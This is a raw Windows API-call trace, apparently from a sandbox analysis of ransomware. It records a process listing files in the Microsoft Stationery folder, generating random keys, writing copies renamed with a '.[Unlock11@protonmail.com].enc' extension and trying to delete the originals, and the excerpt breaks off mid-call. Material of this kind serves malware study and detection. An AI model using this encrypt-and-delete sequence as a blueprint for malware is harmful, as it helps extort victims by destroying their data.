(lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0123.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0123.378] GetCurrentThreadId () returned 0x9b0 [0123.378] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0123.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0123.379] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0123.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0123.380] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x33eaa58 [0123.380] GetCurrentThreadId () returned 0x9b0 [0123.380] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0123.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0123.380] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0123.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0123.383] GetCurrentThreadId () returned 0x9b0 [0123.383] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0123.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0123.383] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0123.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0123.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eaa58, Size=0x40) returned 0x3887650 [0123.384] GetCurrentThreadId () returned 0x9b0 [0123.384] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0123.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0123.385] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0123.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0123.386] GetCurrentThreadId () returned 0x9b0 [0123.386] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0123.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db670 | out: hHeap=0x2ad0000) returned 1 [0123.386] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0123.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0123.387] GetCurrentThreadId () returned 0x9b0 [0123.387] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0123.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0123.388] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0123.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db6c0 | out: hHeap=0x2ad0000) returned 1 [0123.389] GetCurrentThreadId () returned 0x9b0 [0123.389] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0123.390] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0123.391] GetCurrentThreadId () returned 0x9b0 [0123.391] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887650, Size=0x64) returned 0x2a19888 [0123.391] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0123.391] GetCurrentThreadId () returned 0x9b0 [0123.391] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0123.392] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0123.392] GetCurrentThreadId () returned 0x9b0 [0123.393] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0123.393] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm", lpFilePart=0x9bada4*="Bears.htm") returned 0x43 [0123.393] GetCurrentThreadId () returned 0x9b0 [0123.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.394] GetCurrentThreadId () returned 0x9b0 [0123.394] GetCurrentThreadId () returned 0x9b0 [0123.394] GetCurrentThreadId () returned 0x9b0 [0123.394] GetCurrentThreadId () returned 0x9b0 [0123.394] GetCurrentThreadId () returned 0x9b0 [0123.394] GetCurrentThreadId () returned 0x9b0 [0123.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a928 [0123.394] GetCurrentThreadId () returned 0x9b0 [0123.394] GetCurrentThreadId () returned 0x9b0 [0123.395] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff)) returned 1 [0123.395] GetCurrentThreadId () returned 0x9b0 [0123.395] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aaac | out: pbBuffer=0x366aaac) returned 1 [0123.395] GetCurrentThreadId () returned 0x9b0 [0123.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0123.395] GetCurrentThreadId () returned 0x9b0 [0123.395] GetCurrentThreadId () returned 0x9b0 [0123.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab70 [0123.396] GetCurrentThreadId () returned 0x9b0 [0123.396] GetCurrentThreadId () returned 0x9b0 [0123.396] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.396] GetFileType (hFile=0x39c) returned 0x1 [0123.396] GetCurrentThreadId () returned 0x9b0 [0123.396] GetFileType (hFile=0x39c) returned 0x1 [0123.396] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.397] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.397] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.397] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.397] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.397] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.397] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.397] GetLastError () returned 0x0 [0123.397] GetCurrentThreadId () returned 0x9b0 [0123.397] GetLastError () returned 0x0 [0123.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0123.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8a0 | out: hHeap=0x2ad0000) returned 1 [0123.397] GetLastError () returned 0x0 [0123.397] GetLastError () returned 0x0 [0123.398] GetLastError () returned 0x0 [0123.398] GetLastError () returned 0x0 [0123.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ac8 [0123.398] GetLastError () returned 0x0 [0123.398] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.398] GetFileType (hFile=0x3ac) returned 0x1 [0123.399] GetLastError () returned 0x0 [0123.399] GetCurrentThreadId () returned 0x9b0 [0123.399] GetLastError () returned 0x0 [0123.399] GetFileType (hFile=0x3ac) returned 0x1 [0123.399] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.399] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.399] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.399] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.399] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.399] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.399] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.399] GetLastError () returned 0x0 [0123.400] GetCurrentThreadId () returned 0x9b0 [0123.400] GetLastError () returned 0x0 [0123.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0123.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0123.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.400] GetLastError () returned 0x0 [0123.401] GetLastError () returned 0x0 [0123.401] GetCurrentThreadId () returned 0x9b0 [0123.401] GetLastError () returned 0x0 [0123.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.401] GetLastError () returned 0x0 [0123.401] GetLastError () returned 0x0 [0123.401] GetCurrentThreadId () returned 0x9b0 [0123.401] GetLastError () returned 0x0 [0123.401] GetLastError () returned 0x0 [0123.402] GetLastError () returned 0x0 [0123.402] GetCurrentThreadId () returned 0x9b0 [0123.402] GetLastError () returned 0x0 [0123.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b18 | out: hHeap=0x2ad0000) returned 1 [0123.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x118) returned 0x2c374c0 [0123.403] GetCurrentThreadId () returned 0x9b0 [0123.403] GetLastError () returned 0x0 [0123.403] GetLastError () returned 0x0 [0123.403] GetLastError () returned 0x0 [0123.403] GetLastError () returned 0x0 [0123.403] GetCurrentThreadId () returned 0x9b0 [0123.403] GetLastError () returned 0x0 [0123.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374c0 | out: hHeap=0x2ad0000) returned 1 [0123.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0123.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0123.404] GetLastError () returned 0x0 [0123.404] GetLastError () returned 0x0 [0123.404] GetCurrentThreadId () returned 0x9b0 [0123.404] GetLastError () returned 0x0 [0123.404] GetLastError () returned 0x0 [0123.404] GetLastError () returned 0x0 [0123.404] GetCurrentThreadId () returned 0x9b0 [0123.404] GetLastError () returned 0x0 [0123.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8668 | out: hHeap=0x2ad0000) returned 1 [0123.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.404] GetLastError () returned 0x0 [0123.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.405] CloseHandle (hObject=0x3ac) returned 1 [0123.406] GetLastError () returned 0x0 [0123.406] GetCurrentThreadId () returned 0x9b0 [0123.406] GetLastError () returned 0x0 [0123.406] GetLastError () returned 0x0 [0123.406] CloseHandle (hObject=0x39c) returned 1 [0123.406] GetLastError () returned 0x0 [0123.406] GetCurrentThreadId () returned 0x9b0 [0123.406] GetLastError () returned 0x0 [0123.406] GetLastError () returned 0x0 [0123.406] GetLastError () returned 0x0 [0123.407] GetLastError () returned 0x0 [0123.407] GetLastError () returned 0x0 [0123.407] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0 [0123.407] GetLastError () returned 0x5 [0123.407] GetCurrentThreadId () returned 0x9b0 [0123.407] GetLastError () returned 0x5 [0123.407] GetLastError () returned 0x5 [0123.407] GetLastError () returned 0x5 [0123.407] GetLastError () returned 0x5 [0123.408] LocalFree (hMem=0x1053d30) returned 0x0 [0123.408] GetLastError () returned 0x5 [0123.408] GetLastError () returned 0x5 [0123.408] GetLastError () returned 0x5 [0123.408] GetLastError () returned 0x5 [0123.408] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", lpFilePart=0x9bada4*="Bears.jpg") returned 0x43 [0123.408] GetCurrentThreadId () returned 0x9b0 [0123.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0123.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0123.409] GetCurrentThreadId () returned 0x9b0 [0123.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab70 [0123.409] GetLastError () returned 0x0 [0123.409] GetLastError () returned 0x0 [0123.409] GetLastError () returned 0x0 [0123.409] GetLastError () returned 0x0 [0123.409] GetCurrentThreadId () returned 0x9b0 [0123.409] GetLastError () returned 0x0 [0123.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab70 | out: hHeap=0x2ad0000) returned 1 [0123.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9b8 [0123.410] GetLastError () returned 0x0 [0123.410] GetLastError () returned 0x0 [0123.410] GetLastError () returned 0x0 [0123.410] GetLastError () returned 0x0 [0123.410] GetCurrentThreadId () returned 0x9b0 [0123.410] GetLastError () returned 0x0 [0123.410] GetCurrentThreadId () returned 0x9b0 [0123.410] GetLastError () returned 0x0 [0123.410] GetLastError () returned 0x0 [0123.410] GetLastError () returned 0x0 [0123.410] GetLastError () returned 0x0 [0123.411] GetCurrentThreadId () returned 0x9b0 [0123.411] GetLastError () returned 0x0 [0123.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9b8 | out: hHeap=0x2ad0000) returned 1 [0123.411] GetLastError () returned 0x0 [0123.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0123.411] GetLastError () returned 0x0 [0123.411] GetLastError () returned 0x0 [0123.411] GetLastError () returned 0x0 [0123.411] GetCurrentThreadId () returned 0x9b0 [0123.411] GetLastError () returned 0x0 [0123.411] GetLastError () returned 0x0 [0123.412] GetLastError () returned 0x0 [0123.412] GetLastError () returned 0x0 [0123.412] GetLastError () returned 0x0 [0123.412] GetCurrentThreadId () returned 0x9b0 [0123.412] GetLastError () returned 0x0 [0123.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0123.412] GetLastError () returned 0x0 [0123.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0123.412] GetLastError () returned 0x0 [0123.412] GetLastError () returned 0x0 [0123.413] GetLastError () returned 0x0 [0123.413] GetCurrentThreadId () returned 0x9b0 [0123.413] GetLastError () returned 0x0 [0123.413] GetLastError () returned 0x0 [0123.413] GetLastError () returned 0x0 [0123.413] GetLastError () returned 0x0 [0123.413] GetLastError () returned 0x0 [0123.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.414] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432)) returned 1 [0123.414] GetLastError () returned 0x0 [0123.414] GetCurrentThreadId () returned 0x9b0 [0123.414] GetLastError () returned 0x0 [0123.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0123.414] GetCurrentThreadId () returned 0x9b0 [0123.414] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a494 | out: pbBuffer=0x366a494) returned 1 [0123.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0123.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac60 [0123.415] GetCurrentThreadId () returned 0x9b0 [0123.415] GetLastError () returned 0x0 [0123.415] GetLastError () returned 0x0 [0123.415] GetLastError () returned 0x0 [0123.415] GetLastError () returned 0x0 [0123.415] GetCurrentThreadId () returned 0x9b0 [0123.415] GetLastError () returned 0x0 [0123.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac60 | out: hHeap=0x2ad0000) returned 1 [0123.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac60 [0123.415] GetLastError () returned 0x0 [0123.416] GetLastError () returned 0x0 [0123.416] GetLastError () returned 0x0 [0123.416] GetLastError () returned 0x0 [0123.416] GetCurrentThreadId () returned 0x9b0 [0123.416] GetLastError () returned 0x0 [0123.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac60 | out: hHeap=0x2ad0000) returned 1 [0123.416] GetCurrentThreadId () returned 0x9b0 [0123.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6af8 [0123.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0123.416] GetLastError () returned 0x0 [0123.416] GetLastError () returned 0x0 [0123.416] GetLastError () returned 0x0 [0123.417] GetLastError () returned 0x0 [0123.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0123.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ab8 [0123.417] GetLastError () returned 0x0 [0123.417] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.417] GetFileType (hFile=0x39c) returned 0x1 [0123.417] GetLastError () returned 0x0 [0123.417] GetCurrentThreadId () returned 0x9b0 [0123.418] GetLastError () returned 0x0 [0123.418] GetFileType (hFile=0x39c) returned 0x1 [0123.418] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.418] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.418] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.418] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.418] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.418] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.418] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.418] GetLastError () returned 0x0 [0123.418] GetCurrentThreadId () returned 0x9b0 [0123.418] GetLastError () returned 0x0 [0123.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8a0 | out: hHeap=0x2ad0000) returned 1 [0123.419] GetLastError () returned 0x0 [0123.419] GetLastError () returned 0x0 [0123.419] GetLastError () returned 0x0 [0123.419] GetLastError () returned 0x0 [0123.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a78 [0123.419] GetLastError () returned 0x0 [0123.419] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.420] GetFileType (hFile=0x3ac) returned 0x1 [0123.420] GetLastError () returned 0x0 [0123.420] GetCurrentThreadId () returned 0x9b0 [0123.420] GetLastError () returned 0x0 [0123.420] GetFileType (hFile=0x3ac) returned 0x1 [0123.420] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.420] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.420] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.420] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.420] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.420] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.421] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.421] GetLastError () returned 0x0 [0123.421] GetCurrentThreadId () returned 0x9b0 [0123.421] GetLastError () returned 0x0 [0123.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0123.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0123.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0123.421] HeapFree 